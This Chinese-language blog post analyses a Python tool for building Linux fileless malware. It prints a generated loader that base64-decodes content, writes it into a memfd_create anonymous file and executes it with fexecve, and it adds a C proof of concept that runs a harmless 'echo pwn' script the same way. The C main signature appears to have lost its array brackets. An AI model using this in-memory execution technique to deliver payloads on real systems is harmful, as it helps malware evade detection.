Become a hacker
看文章的時候看到了一個 project 介紹 fileless 的惡意程式:他是用 python 寫的 linux-based 的無檔案惡意程式套件, 可以讓使用者簡單快速的產生、建立一個 fileless 惡意程式。
不得不說,這個 project 的 source code 可讀性非常差 (雖然用 Python 撰寫的),在 main.py 開始有兩個部分:CLI 參數的處理、 以及產生惡意程式的部分。在透過一連串的操作之後最後會產生一個 Python 惡意檔案:
#! /usr/bin/env python
import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscall
fexecve = libc.fexecve
content = base64.b64decode("aW1wb3J0IGJhc2U2NAoKCgpkZXNjID0geyJuYW1lIiA6ICJtZW1mZF9jcmVhdGUiLCAiZGVzY3JpcHRpb24iIDogIlBheWxvYWQgdXNpbmcgbWVtZmRfY3JlYXRlIiwgImFyY2hzIiA6ICJhbGwiLCAicHl0aG9uX3ZlcnMiIDogIj4yLjUifQoKZGVmIG1haW4oaXNfdXJsLCB1cmxfb3JfcGF5bG9hZCk6CiAgICBwYXlsb2FkID0gJycnaW1wb3J0IGN0eXBlcywgb3MsIHVybGxpYjIsIGJhc2U2NApsaWJjID0gY3R5cGVzLkNETEwoTm9uZSkKYXJndiA9IGN0eXBlcy5wb2ludGVyKChjdHlwZXMuY19jaGFyX3AgKiAwKSgqW10pKQpzeXNjYWxsID0gbGliYy5zeXNjYWxsCmZleGVjdmUgPSBsaWJjLmZleGVjdmUnJycKICAgIGlmIGlzX3VybDoKICAgICAgICBwYXlsb2FkICs9ICdcbmNvbnRlbnQgPSB1cmxsaWIyLnVybG9wZW4oInt9IikucmVhZCgpJy5mb3JtYXQodXJsX29yX3BheWxvYWQpCiAgICBlbHNlOgogICAgICAgIGVuY29kZWRfcGF5bG9hZCA9IGJhc2U2NC5iNjRlbmNvZGUodXJsX29yX3BheWxvYWQpLmRlY29kZSgpCiAgICAgICAgcGF5bG9hZCArPSAnXG5jb250ZW50ID0gYmFzZTY0LmI2NGRlY29kZSgie30iKScuZm9ybWF0KGVuY29kZWRfcGF5bG9hZCkKICAgIHBheWxvYWQgKz0gJycnXG5mZCA9IHN5c2NhbGwoMzE5LCAiIiwgMSkKb3Mud3JpdGUoZmQsIGNvbnRlbnQpCmZleGVjdmUoZmQsIGFyZ3YsIGFyZ3YpJycnCiAgICByZXR1cm4gcGF5bG9hZA==")
fd = syscall(319, "", 1)
os.write(fd, content)
fexecve(fd, argv, argv)
從產生的程式碼來看他的目的是透過:1) ctypes 來找到 fexecve 跟 sys_memfd_create 這兩個 syscall 來完成無檔案的惡意程式。 先透過 memfd_create 來產生一個暱名檔案 (anonymous file)、寫入惡意內容、最後透過 fexecve 執行。
C version
後來用 C 改寫了一版 POC 程式:可以用兩個函數就可以做到 fileless 執行的範例程式
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
int main(int argc, char *const argv, char *const envp) {
int fd = -1;
char content[] = "#! /usr/bin/env sh\necho pwn\n";
if (-1 == (fd = memfd_create("", 0))) {
fprintf(stderr, "cannot create memory file - %m\n");
return -1;
}
write(fd, content, strlen(content));
fprintf(stderr, "execute %d %m\n", fexecve(fd, argv, envp));
return 0;
}